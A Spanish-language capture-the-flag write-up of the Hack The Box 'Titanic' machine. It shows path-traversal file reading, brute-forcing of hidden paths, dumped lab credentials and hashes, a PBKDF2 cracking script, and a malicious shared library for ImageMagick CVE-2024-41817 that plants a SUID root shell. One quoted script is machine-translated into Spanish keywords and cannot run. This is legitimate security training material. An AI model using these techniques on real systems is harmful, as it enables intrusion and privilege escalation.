Titanic - Hackthebox

Titanic es una máquina Linux de fácil dificultad que cuenta con un servidor Apache escuchando en el puerto 80. El sitio web en el puerto 80 anuncia las comodidades del legendario barco Titanic y permite a los usuarios reservar viajes. También se identifica un segundo vHost tras el fuzzing, que apunta a un servidor Gitea. El servidor Gitea permite registros, y la exploración de los repositorios disponibles revela alguna información interesante, incluyendo la ubicación de una carpeta de datos montada Gitea, que se ejecuta a través de un contenedor Docker. Volviendo al sitio web original, la funcionalidad de reserva es vulnerable a un exploit de lectura arbitraria de archivos, y combinando el directorio identificado de Gitea, es posible descargar la base de datos SQLite de Gitea localmente. Dicha base de datos contiene credenciales hash para el usuario developer, que pueden ser crackeadas. Las credenciales se pueden utilizar para iniciar sesión en el sistema remoto a través de SSH. La enumeración del sistema de archivos revela que un script en el directorio /opt/scripts se ejecuta cada minuto. Este script ejecuta el binario magick para recopilar información sobre imágenes específicas. Se ha descubierto que esta versión de magick es vulnerable a un exploit de ejecución arbitraria de código asignado CVE-2024-41817. La explotación exitosa de esta vulnerabilidad resulta en la elevación de privilegios al usuario root.
Reconocimiento
Iniciamos con el reconocimiento de puertos abiertos de la maquina victima
❯ nmap -p- --open --min-rate 5000 -Pn -n -vvv 10.10.11.55 -oG allportsScanStarting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 16:46 -05
Initiating SYN Stealth Scan at 16:46
Scanning 10.10.11.55 [65535 ports]
Discovered open port 22/tcp on 10.10.11.55
Discovered open port 80/tcp on 10.10.11.55
Completed SYN Stealth Scan at 16:46, 14.93s elapsed (65535 total ports)
Nmap scan report for 10.10.11.55
Host is up, received user-set (0.12s latency).
Scanned at 2025-08-29 16:46:09 -05 for 15s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63Luego de tener los puertos abiertos procederemos a enumerar los servicios que corren en dichos puertos
❯ nmap -p22,80 -sC -sV -Pn -n 10.10.11.55 -oN servicesScan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 16:47 -05
Nmap scan report for 10.10.11.55
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelobservamos que en el servicio web tenemos un dominio, por lo que lo agregaremos a /etc/hosts. Luego de agregarlo observamos el siguiente sitio web.

Enumerando los subdominios del sitio web, encontraremos que existe uno dev
❯ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hl 9 -u http://titanic.htb/ -H "Host:FUZZ.titanic.htb"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://titanic.htb/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 200 275 L 1278 W 13870 Ch "dev"
000009532: 400 10 L 35 W 303 Ch "#www"
000010581: 400 10 L 35 W 303 Ch "#mail"
Total time: 0
Processed Requests: 19966
Filtered Requests: 19963
Requests/sec.: 0Agregando al nuestro /etc/hosts y revisando desde nuestro navegador encontraremos con el servicio de gitea.

Ahora podemos registrarnos en http://dev.titanic.htb/user/sign_up

Explotación
una vez registrado, nos encontraremos con dos proyecto del usuario developer.


En una de ellas encontré credenciales para la base de datos.
version: '3.8'
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: alwaysUse estas credenciales para intentar logearme como el usuario developer por ssh pero no hubo resultado. Por lo que seguí enumerando un me encontré con otros posibles usuarios como jack y rose pero con ninguno pude ingresar.

{"name": "Jack Dawson", "email": "jack.dawson@titanic.htb", "phone": "555-123-4567", "date": "2024-08-23", "cabin": "Standard"}
{"name": "Rose DeWitt Bukater", "email": "rose.bukater@titanic.htb", "phone": "643-999-021", "date": "2024-08-22", "cabin": "Suite"}LFI
En el proyecto flask app encontré el código de la aplicación, por lo que procedí a revisarlo
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)En esta parte del código podemos observar que al buscar y darnos el archivo no hace una validación y podemos leer un archivo que exista en la maquina atacante
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404Desde burpsuite podemos realizar la request para leer el archivo /etc/passwd y efectivamente la podemos leer.

Revisando la documentación de Gitea encontramos que existe una ruta con credenciales o rutas sensibles custom/conf/app.ini

En el repositorio vemos que tenemos una ruta donde esta desplegado la app /home/developer/gitea/data. Teniendo en cuenta la documentación debería existir un archivo en /home/developer/gitea/data/[custom]/conf/app.ini, por lo que realizaremos fuerza bruta para poder encontrar el directorio.
❯ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://titanic.htb/download?ticket=/home/developer/gitea/data/FUZZ' -e .ini,.txt,.sql
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/download?ticket=/home/developer/gitea/data/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Extensions : .ini .txt .sql
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
git [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 121ms]
ssh [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 121ms]Encontramos un directorio git en el cual iniciarnos a hacer fuerza bruta para seguir buscando directorios.
❯ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://titanic.htb/download?ticket=/home/developer/gitea/data/git/FUZZ' -e .ini,.txt,.sql,.db
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb/download?ticket=/home/developer/gitea/data/git/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Extensions : .ini .txt .sql .db
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.ssh [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 116ms]Aquí encontramos otro directorio .ssh y también seguiremos enumerando los directorios, luego encontraremos un archivo llamado evironment.

En este archivo encontraremos la ruta que custom que es /data/gitea y podemos leer el archivo sensible. /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini

APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /data/gitea
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP_PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = gitea.titanic.htb
SSH_DOMAIN = gitea.titanic.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.titanic.htb/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
OFFLINE_MODE = true
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve
[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file
[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars
[attachment]
PATH = /data/gitea/attachments
[log]
MODE = console
LEVEL = info
ROOT_PATH = /data/gitea/log
[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost
[lfs]
PATH = /data/git/lfs
[mailer]
ENABLED = false
[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true
[cron.update_checker]
ENABLED = false
[repository.pull-request]
DEFAULT_MERGE_STYLE = merge
[repository.signing]
DEFAULT_TRUST_MODEL = committer
[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3gEn este archivo encontraremos un .db en la ruta /data/gitea/gitea.db donde encontraremos credenciales.
shell - Developer
Para descargar el archivo .db debemos ir a la ruta: http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
En este archivo encontraremos credenciales para el usuario administrator, developer y el usuario que creamos.
sqlite> select * from user;
1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0
3|seven|seven||seven@seven.com|0|enabled|b606fd9646c1c971d3a5dbba8c3b8795f601aa598a095c103ee05299e11386efd4968f90ca323c1a59ecf2b0f8092d0b54ba|pbkdf2$50000$50|0|0|0||0|||480e0f702900bf8d57e2a92af85147e5|cf6aa99694c16c9a91b99391fb71efdc|en-US||1756505443|1756506282|1756506228|0|-1|1|0|0|0|0|1|0|b1ac3f8df46474ad80145e6f017c943e|seven@seven.com|0|0|0|0|0|0|0|0|0|unified|gitea-auto|0
sqlite>Luego de investigar un poco sobre el hash y como crackearla, encontré una maquina similar para poder crackear el hash.
Revisamos el articulo y encontraremos un script que nos ayudara a crackear la contraseña.
importar hashlib
importar binascii
del registro de importación de pwn
# Parámetros de gitea.db
sal = binascii.unhexlify('227d873cca89103cd83a▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒') # 16 bytes
clave = '97907280dc24fe517c43475bd218bfad56c25d4d11037d▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒'
dklen = 50
iteraciones = 50000
def hash(contraseña, sal, iteraciones, dklen):
valorHash = hashlib.pbkdf2_hmac(
nombre_hash='sha256',
contraseña=contraseña,
sal=sal,
iteraciones=iteraciones,
dklen=dklen,
)
devolver valor hash
# Grieta
dict = '/usr/share/wordlists/rockyou.txt'
bar = log.progress('Descifrando PBKDF2')
con open(dict, 'r', encoding='utf-8') como f:
para la línea en f:
contraseña = línea.strip().encode('utf-8')
hashValue = hash(contraseña, sal, iteraciones, dklen)
objetivo = binascii.unhexlify(clave)
# log.info(f'Nuestro objetivo es: {target}')
bar.status(f'Intentando: {contraseña}, hash: {hashValue}')
si hashValue == objetivo:
bar.success(f'¡Contraseña encontrada: {password}!')
romper
bar.failure('El hash no se puede descifrar.')Para nuestro caso tendremos:
- Hash:
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 - Salt:
8bf3e3452b78544f8bee9400d6936d34
Así reemplazaremos el Hash y Salt en el script
import hashlib
import binascii
from pwn import log
# Parameters from gitea.db
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') # 16 bytes
key = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dklen = 50
iterations = 50000
def hash(password, salt, iterations, dklen):
hashValue = hashlib.pbkdf2_hmac(
hash_name='sha256',
password=password,
salt=salt,
iterations=iterations,
dklen=dklen,
)
return hashValue
# Crack
dict = '/usr/share/wordlists/rockyou.txt'
bar = log.progress('Cracking PBKDF2')
with open(dict, 'r', encoding='utf-8') as f:
for line in f:
password = line.strip().encode('utf-8')
hashValue = hash(password, salt, iterations, dklen)
target = binascii.unhexlify(key)
#log.info(f'Our target is: {target}')
#bar.status(f'Trying: {password}, hash: {hashValue}')
bar.status('Trying %s' %(password))
if hashValue == target:
bar.success(f'Found password: {password}!')
break
bar.failure('Hash is not crackable.')Ejecutamos el script:

Nuestra contraseña para developer :
developer : 25282528Usando esta contraseña podemos iniciar sesión por ssh.

shell - root
Enumerando el servidor encontraremos un archivo identify_images.sh el que usa magick
developer@titanic:/opt/scripts$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
Al ver la versión de magick podemos observar que este tiene la versión 7.1.1-35

ImageMagick 7.1.1-35
Luego de investigar encontraremos que esta aplicación en esta versión tiene una vulnerabilidad.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("busybox cp /bin/bash /tmp/pwned; chmod +s /tmp/pwned");
exit(0);
}El anterior script nos permitirá escalar privilegios como root, ejecutando el siguiente comando para copilar nuestro exploit.
gcc -shared -fPIC -o libxcb.so.1 exploit.c
Luego de esperar un tiempo observamos que nuestro exploit fue ejecutado, y tenemos nuestro binario con permisos suid y así poder escalar a root.
